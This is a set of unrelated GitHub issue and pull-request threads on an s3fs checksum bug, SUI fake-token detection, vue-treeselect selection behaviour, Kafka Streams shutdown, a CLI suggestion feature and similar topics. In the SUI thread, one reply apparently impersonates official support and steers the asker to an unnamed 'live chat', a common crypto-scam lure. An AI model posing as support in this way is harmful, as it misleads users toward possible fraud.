botocore.exceptions.ClientError: An error occurred (InvalidRequest) when calling the CompleteMultipartUpload operation: The upload was created using a sha256 checksum. The complete request must include the checksum for each part. It was missing for part 1 in the request.

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "/opt/....", line 97, in execute
    fobj_construct2parquet(incoming, content_id, filesystem=s3fs)
  File "/opt/.....", line 67, in fobj_construct2parquet
    pq.write_table(table, fobj, filesystem=filesystem)
  File "/home/airflow/.local/lib/python3.9/site-packages/pyarrow/parquet/__init__.py", line 2941, in write_table
    writer.write_table(table, row_group_size=row_group_size)
  File "/home/airflow/.local/lib/python3.9/site-packages/pyarrow/parquet/__init__.py", line 956, in __exit__
    self.close()
  File "/home/airflow/.local/lib/python3.9/site-packages/pyarrow/parquet/__init__.py", line 1029, in close
    self.file_handle.close()
  File "pyarrow/io.pxi", line 180, in pyarrow.lib.NativeFile.close
  File "/home/airflow/.local/lib/python3.9/site-packages/fsspec/spec.py", line 1741, in close
    self.flush(force=True)
  File "/home/airflow/.local/lib/python3.9/site-packages/fsspec/spec.py", line 1612, in flush
    if self._upload_chunk(final=force) is not False:
  File "/home/airflow/.local/lib/python3.9/site-packages/s3fs/core.py", line 2173, in _upload_chunk
    self.commit()
  File "/home/airflow/.local/lib/python3.9/site-packages/s3fs/core.py", line 2201, in commit
    write_result = self._call_s3(
  File "/home/airflow/.local/lib/python3.9/site-packages/s3fs/core.py", line 2040, in _call_s3
    return self.fs.call_s3(method, self.s3_additional_kwargs, *kwarglist, **kwargs)
  File "/home/airflow/.local/lib/python3.9/site-packages/fsspec/asyn.py", line 113, in wrapper
    return sync(self.loop, func, *args, **kwargs)
  File "/home/airflow/.local/lib/python3.9/site-packages/fsspec/asyn.py", line 98, in sync
    raise return_result
  File "/home/airflow/.local/lib/python3.9/site-packages/fsspec/asyn.py", line 53, in _runner
    result[0] = await coro
  File "/home/airflow/.local/lib/python3.9/site-packages/s3fs/core.py", line 339, in _call_s3
    return await _error_wrapper(
  File "/home/airflow/.local/lib/python3.9/site-packages/s3fs/core.py", line 139, in _error_wrapper
    raise err
OSError: [Errno 22] The upload was created using a sha256 checksum. The complete request must include the checksum for each part. It was missing for part 1 in the request.

Digging.
When the parts are uploaded to S3, S3 will return the corresponding checksum. Ex (from a Debugging Print statement);
Line 2174: out={'ResponseMetadata': {'RequestId': '...', 'HostId': '...', 'HTTPStatusCode': 200, 'HTTPHeaders': {'x-amz-id-2': '...', 'x-amz-request-id': '...', 'date': 'Sun, 11 Dec 2022 18:16:14 GMT', 'etag': '"..."', 'x-amz-checksum-sha256': 'JYVhopFfH6xHs34sIajC/UdtzVojFMP1zktFGsGw8h0=', 'x-amz-server-side-encryption': 'AES256', 'server': 'AmazonS3', 'content-length': '0', 'connection': 'close'}, 'RetryAttempts': 0}, 'ServerSideEncryption': 'AES256', 'ETag': '"..."', 'ChecksumSHA256': 'JYVhopFfH6xHs34sIajC/UdtzVojFMP1zktFGsGw8h0='}

This checksum should be replied back in the CompleteMultipartUpload call. See https://docs.aws.amazon.com/AmazonS3/latest/API/API_CompleteMultipartUpload.html
Doing a simple dirty test adding the ChecksumSHA256 here https://github.com/fsspec/s3fs/blob/main/s3fs/core.py#L2171 gets me a working system.

Thanks for looking into this. It sounds like you have a solution - should this be put into a PR?

As much as I'd like to PR this, my method wouldn't be as clean as the rest of the code.

It is worthwhile having something that works! Perhaps I can help make is fit with the style of the rest of the code, or else it can serve as a public workaround for those that need it.


How to identify fake token transactions while calling SUI JSON RPC API

For Example there is a address 0xb4f42571101827758f55a9b998a1251892402fbd4dce90da3373625298091627 which has a transaction BvKnmGHWvfQvRSfrfU1QzyVfJ9Zq48qYbNuTH7DtpA2i of amount<PHONE_NUMBER>0 MIST as fake token because it is not included in the balance of this address so while calling json RPC API, how to identify such transactions.

@nishit9457 for the moment SUI's RPC API doesn't have any specific call to identify fake tokens. These are marked as such on the respective SUI explorers though. Let me know if that helps or you need anything more regarding that.

@nishit9457 Dear user
I understand that you have been experiencing some issues and I want to ensure you get the support you need as quickly as possible by using our live chat option.
Support : Support
1.	Access the Live Chat:
•	Navigate to our website’s home page.
•	Look for the chat icon located at the bottom right corner of the screen and start a 💬.


Add a markdown file for learning resources

Please suggest other reviewers if required.

This starts to cover some of the items mentioned in #2, thanks Liam.
/approve

This PR is also corrupted from an append on a commit I did last week when I was in Gerrit mode. I'll abandon it as well and raise a new PR.


Does the bots reconnect to the server on death?

Does the bots reconnect to the server on death?
because when the bots die bot counter drops down slowly.

You can close this :)

thx yario

Why thx ? @kurama129

i was searching for dead bot event too

Okay just take look at my pull request pls

Yes bots reconnect

umm how many bot you get after reconnect and does bots go down

Answer in issue #67

@yario-o  Can i get your skype

@devesh457 yes add me : yario03


feat(docs): improving docs for local install

Description
this should help people install the app for development and speed up new features & onboarding.
Fixes
N/A
Changes include

specifying local installation recommending asdf-vm as a manager
providing links in every other readme to this file
dropping function to install pip dependencies from setup.sh
removing pointless docs from api/ folder

Breaking changes
./toolbox/scripts/setup.sh does not include pip modules installation as it can be redundant & scripts.sh should only manage database initial setup & installation.
Checklist

[x] I have assigned this PR to myself
[x] I have added @vrn-sh/members to the reviewers, or specific members of the team
[x] I have added the needed labels
[x] I have tested this code
[x] I have added / updated tests (unit / functionals / end-to-end / ...)
[x] I have updated the README and other relevant documents (guides...)

Additional comments
Feel free to add anything that could be relevant as a comment, id be happy to add it.

@TheOrionsB is there anything particular to add to the front-end regarding the changes you made or is it all good ?


Wrong item selected as value

Hello,
In the following pen : https://codepen.io/anon/pen/KBgzwV
I have a tree with a parent with a child and a grandchild.
When I click on the grandchild:

The parent, child and grandchild are selected as expected,
The selected value is the child and not the grand child.

Is-it a configuration problem?
Thank you,
Karel

Maybe you need to use: <treeselect value-consists-of="LEAF_PRIORITY" ... />
See: https://vue-treeselect.js.org/#prevent-value-combining

Thank you for your quick reply.
LEAF_PRIORITY reverse the behavior expected.
If the parent has two grandchildren, the behavior is okay:
https://codepen.io/anon/pen/OwRNYN*

I didn't manage to find to right checkbox selection pattern: I wanted to check and get values of the clicked item and its parents.
I will use the flat option.
Thanks

I'm sorry... I didn't get your point. Can you explain more about your expectation?

Yes sure!
I'm using the component for categories.
So for the following tree:
cat 1 === cat 1.1 === cat 1.1.1
      === cat 1.2
cat 2

If I check cat 1 or any root category, I only want the root to be selected.
If I check cat 1.1, I only want cat 1 and cat 1.1 to be selected (in the codepen, cat 1.1.1 is also selected).
If I check cat 1.1.1, I want cat 1, 1.1 and 1.1.1 to be selected.
If I check cat 1.2, I want both cat 1 and cat 1.2 to be selected.
In every case, I want the values of every selected item. That behavior is nearly achieved with value-consists-of="ALL". The only problem is that the root value is not added when the clicked item is a child.
Thanks

This is very interesting. I think there should be a new option for this.
Thanks for your feedback!

The new option will be based on current flat prop. The difference is that, whenever the user clicks on a node, vue-treeselect should automatically select its ancestors. I think this is what you want.

Yeah, absolutely.
And a new problem just came to my mind. What's the behavior you want when user deselects a node?
For example, the user first clicked on cat 1.1, then cat 1.1 & cat 1 should be both selected. Next if the user deselected cat 1.1 or cat 1, what should happend? Should vue-treeselect auto deselect its descendants?

I think that the general rule is that a child cannot be selected if its parents are not.
So when cat 1 and 1.1 are selected, if the user clicks 1 then both should be deselected. However, if the user deselects 1.1 both ways are possible but I would prefer that it deselects both as well.
What do you think?

There is no anwser. Just what you want and what is possible to be implemented.
With cat 1 & cat 1.1 both selected:

User deselects cat 1, automatically deselect cat 1.1 -> this is easy.
User deselects cat  1.1, automatically deselect cat 1 -> this is a bit more complex. Since you also need to consider if there is other cat 1.x options being selected. After cat 1.1 being deselected, cat 1 still has other descendants selected.

Actually both are possible. But I want a intuitive API design, this is not easy.

You are right for the second case, if there are several sub-trees, the root should switch from X to - before being while it has some child selected. It's already what is happening here if you check aa and ab, and then only unselect aa: a switch from X to -.
In order to make deep trees more flexible, I wonder if it wouldn't be better to only deselect 1.1 and not 1 when deselecting 1.1.

For now my planning is to add four new props.

autoSelectAncestors
autoSelectDescendants
autoDeselectAncestors
autoDeselectDescendants

With autoSelectAncestors=true & autoDeselectDescendants=true:

When user selects cat 1.1, cat 1 will be automatically selected
When user deselects cat 1, cat 1.1 will be automatically deselected (if it was selected). This also deselects cat 1.2 if applicable.

These all default to false and only apply to flat mode. The names may be subject to change.

Perfect, in flat mode, both ways can be done.

Landed in v0.0.33.


Command Suggestion for Incorrect Subcommands

Earlier there were no suggestions for shp subcommands but with this patch entering wrong subcommands will give suggestions.
example:-
$ shp build cr

Error: unknown command "cr" for "shp build"

Did you mean this?
	create

Also updated the .gitignore file to ignore the binary generated after running go build ./cmd/shp and also ignoring .vscode dir
Signed-off-by: vinamra28<EMAIL_ADDRESS>

/cc @adambkaplan @alicerum

/cc @alicerum can you please review?

@vinamra28 after discussion with colleagues, I want to ask you to use levenshtein distance function provided by some package.
Library mentioned by @adambkaplan seems to be quite mature and well supported (seeing how issues are being fixed after years of existence), https://pkg.go.dev/github.com/texttheater/golang-levenshtein/levenshtein#DistanceForStrings
Another option would be put this function into some package like util/math of tekton cli and depend on that, or, even better, create a common utility module and make both project depend on it.
Reasoning is that we don't really want to introduce exact same mathematical problems solving algorithms into multiple project. In case there's a problem with it later, we will have to find and fix all the occurrences of such algorithm, and it's just overall not the best approach.

@adambkaplan @alicerum updated the PR based on the comments. Used the library https://github.com/texttheater/golang-levenshtein. Can you please review? :slightly_smiling_face:

/assign @alicerum

/approve
Looks good to me, thank you very much @vinamra28

/lgtm


Cannot create BREAD

Laravel Version: 5.5.0
Voyager Version: 1.0.10
PHP Version: 7.0 and 7.1

Description:
Fresh installation of Laravel and voyager testet on two different servers with one PHP 7.0 and the other php7.1 creates error when creating bread on a table. Eg: created sucessfully table tasks. After pressing "Submit" button it shows: "Saving Failed generic.exception: Class App\Task does not exist". Same for other tables.
No errors in log file
Steps To Reproduce:
Fresh installation of Laravel and Voyager via composer on ubuntu 16.04 Server.

forgot to make the model... Sorry


KAFKA-4366: KafkaStreams.close() blocks indefinitely

Added timeout and timeUnit to KafkaStreams.close(..). Now do close on a thread and join that thread with the provided timeout.
Changed state in KafkaStreams to use an enum.
Added system test to ensure we don't deadlock on close when an uncaught exception handler that calls System.exit(..) is used and there is also a shutdown hook that calls KafkaStreams.close(...)

@enothereska @guozhangwang @mjsax

A general question I would like to ask is that, what should we expect / tell users to do in the exception handler and in getRuntime().addShutdownHook? I think in general users should be able to call streams.close in the exception handler as well as shutdown hook (note this is per thread) since here may be more than one thread in the instance and when one of it abruptly stops, they may want to stop all other threads as well; however, I'm not sure if it is a good pattern to call System.exit() in the exception handler, since this is per thread, and instead we would only call System.exit() after the streams instance is completed shutdown.
For Kafka Server, here is the common recommended pattern:

In Kafka.scala, where the main function is triggered to start the KafkaServerStartable class, the Shutdown hook is set to call KafkaServerStartable.shutdown, which is mainly for catching ctrl-c; it calls System.exit(1) on catching any exceptions while calling KafkaServerStartable.startup.

In KafkaServerStartable, similar to above any exceptions will be caught with System.exit(1); and in shutdown it will catch exceptions with Runtime.getRuntime.halt(1) to avoid deadlocks.

This is because the shutting down logic is caught in two functions shutdown and awaitShutdown, whereas shutdown only sets the flag and awaitShutdown is called after the start function.
As for Kafka Streams, I feel it is better to execute a similar pattern; more specifically, say we have not have exposed APIs to query the state of the instance (e.g. like if the instance is shutdown). I.e. 1) either you can implement the pattern indicated in the blog post where the main function thread just call streams.start and then call streams.close before exiting, or using the shutdown hook to call streams.close, or 2) keep the main thread alive after calling streams.close and then have a similar awaitShutdown function by polling on the instance state in the end before exiting, and then optionally add the per-thread exception handler to call streams.close.
As for the report scenario in https://issues.apache.org/jira/browse/KAFKA-4366, where the streams code may be only part of the whole main function logic, but the whole app still wants to exit when the streams have any exceptions, they can possibly fall into the second case above, where exception handler should only call streams.close and the main function wait on streams state to close and then System.exit(). What do you think? @dguy @enothereska @mjsax

@guozhangwang - my take on this is that you definitely should be able to do streams.close from an exception handler and from the Shutdown hook. The close also needs to have a timeout as people will have different requirements on how long they are willing to wait. Obviously forever is bad, but 1 minute might be deemed bad in certain cases. Also, of course, you need to be able to terminate the app from the exception handler - i guess that could be done as you suggest, but it would probably be nicer from an API/user point of view to not have to poll on the state of the KafkaStreams instance. Maybe we add an awaitShutdown method to the KafkaStreams (you might have been suggesting this)

Just pushed an update to this as I realised that during an execution of the exception handler, if streams.close was called it would never be shutdown cleanly. So to get around this i've added StreamThread.isRunning() and in StreamThread.shutdown() (which is called before the exception handler) i do running.set(false). In KafkaStreams.close(...) only join() if  !StreamThread.isRunning()

Discussed with @dguy offline and I think it makes sense to add this close function. Left one more comment above, otherwise LGTM.

Updated. Thanks @guozhangwang

Merged to trunk, thanks @dguy


running out of memory

Heroku logs:
2017-11-06T15:16:08.710384+00:00 heroku[web.1]: Error R14 (Memory quota exceeded)
2017-11-06T15:16:31.142395+00:00 heroku[web.1]: Process running mem=594M(109.6%)
2017-11-06T15:16:31.142499+00:00 heroku[web.1]: Error R14 (Memory quota exceeded)
2017-11-06T15:16:52.583138+00:00 heroku[web.1]: Process running mem=594M(109.6%)
2017-11-06T15:16:52.583189+00:00 heroku[web.1]: Error R14 (Memory quota exceeded)
2017-11-06T15:17:14.414977+00:00 heroku[web.1]: Process running mem=594M(109.6%)
2017-11-06T15:17:14.415136+00:00 heroku[web.1]: Error R14 (Memory quota exceeded)
2017-11-06T15:17:36.968745+00:00 heroku[web.1]: Process running mem=594M(109.6%)
2017-11-06T15:17:36.968940+00:00 heroku[web.1]: Error R14 (Memory quota exceeded)
2017-11-06T15:17:59.260627+00:00 heroku[web.1]: Process running mem=594M(109.6%)
2017-11-06T15:17:59.260845+00:00 heroku[web.1]: Error R14 (Memory quota exceeded)
2017-11-06T15:18:20.801884+00:00 heroku[web.1]: Process running mem=594M(109.6%)
2017-11-06T15:18:20.801884+00:00 heroku[web.1]: Error R14 (Memory quota exceeded)
2017-11-06T15:18:42.533605+00:00 heroku[web.1]: Process running mem=594M(109.6%)
2017-11-06T15:18:42.533660+00:00 heroku[web.1]: Error R14 (Memory quota exceeded)
2017-11-06T15:19:05.481493+00:00 heroku[web.1]: Process running mem=594M(109.6%)
2017-11-06T15:19:05.481529+00:00 heroku[web.1]: Error R14 (Memory quota exceeded)
2017-11-06T15:19:27.573072+00:00 heroku[web.1]: Process running mem=594M(109.6%)
2017-11-06T15:19:27.573248+00:00 heroku[web.1]: Error R14 (Memory quota exceeded)

We seem to be leaking memory resources somewhere. Let's investigate and fix.

There is an unrecoverable failure on my side. Please, submit it here:
com.amazonaws.SdkClientException: Unable to execute HTTP request: null
	at com.amazonaws.http.AmazonHttpClient$RequestExecutor.handleRetryableException(AmazonHttpClient.java:1113)
	at com.amazonaws.http.AmazonHttpClient$RequestExecutor.executeHelper(AmazonHttpClient.java:1063)
	at com.amazonaws.http.AmazonHttpClient$RequestExecutor.doExecute(AmazonHttpClient.java:743)
	at com.amazonaws.http.AmazonHttpClient$RequestExecutor.executeWithTimer(AmazonHttpClient.java:717)
	at com.amazonaws.http.AmazonHttpClient$RequestExecutor.execute(AmazonHttpClient.java:699)
	at com.amazonaws.http.AmazonHttpClient$RequestExecutor.access$500(AmazonHttpClient.java:667)
	at com.amazonaws.http.AmazonHttpClient$RequestExecutionBuilderImpl.execute(AmazonHttpClient.java:649)
	at com.amazonaws.http.AmazonHttpClient.execute(AmazonHttpClient.java:513)
	at com.amazonaws.services.s3.AmazonS3Client.invoke(AmazonS3Client.java:4247)
	at com.amazonaws.services.s3.AmazonS3Client.invoke(AmazonS3Client.java:4194)
	at com...

My version: 1.0-SNAPSHOT, 4fbcb81, 2017-10-30T15:19:50 /cc @yegor256

Job gh:yegor256/jpeek#56 is in scope.

Bug was reported: +15 points just awarded to @yegor256, total is +5190.

Oops! Job gh:yegor256/jpeek#56 is already in scope.

@rultor release, tag is 0.17.1

@rultor release, tag is 0.17.1

@yegor256 OK, I will release it now. Please check the progress here

@rultor release, tag is 0.17.1

@yegor256 Done! FYI, the full log is here (took me 16min)

Oops! There is no order for job gh:yegor256/jpeek#56.

Job gh:yegor256/jpeek#56 is now out of scope.


Real planning

https://osrd.fr/en/about/opensource/

Also real simulation https://picolisp-explored.com/a-railroad-simulation-with-des

https://github.com/geofabrik/OpenRailRouting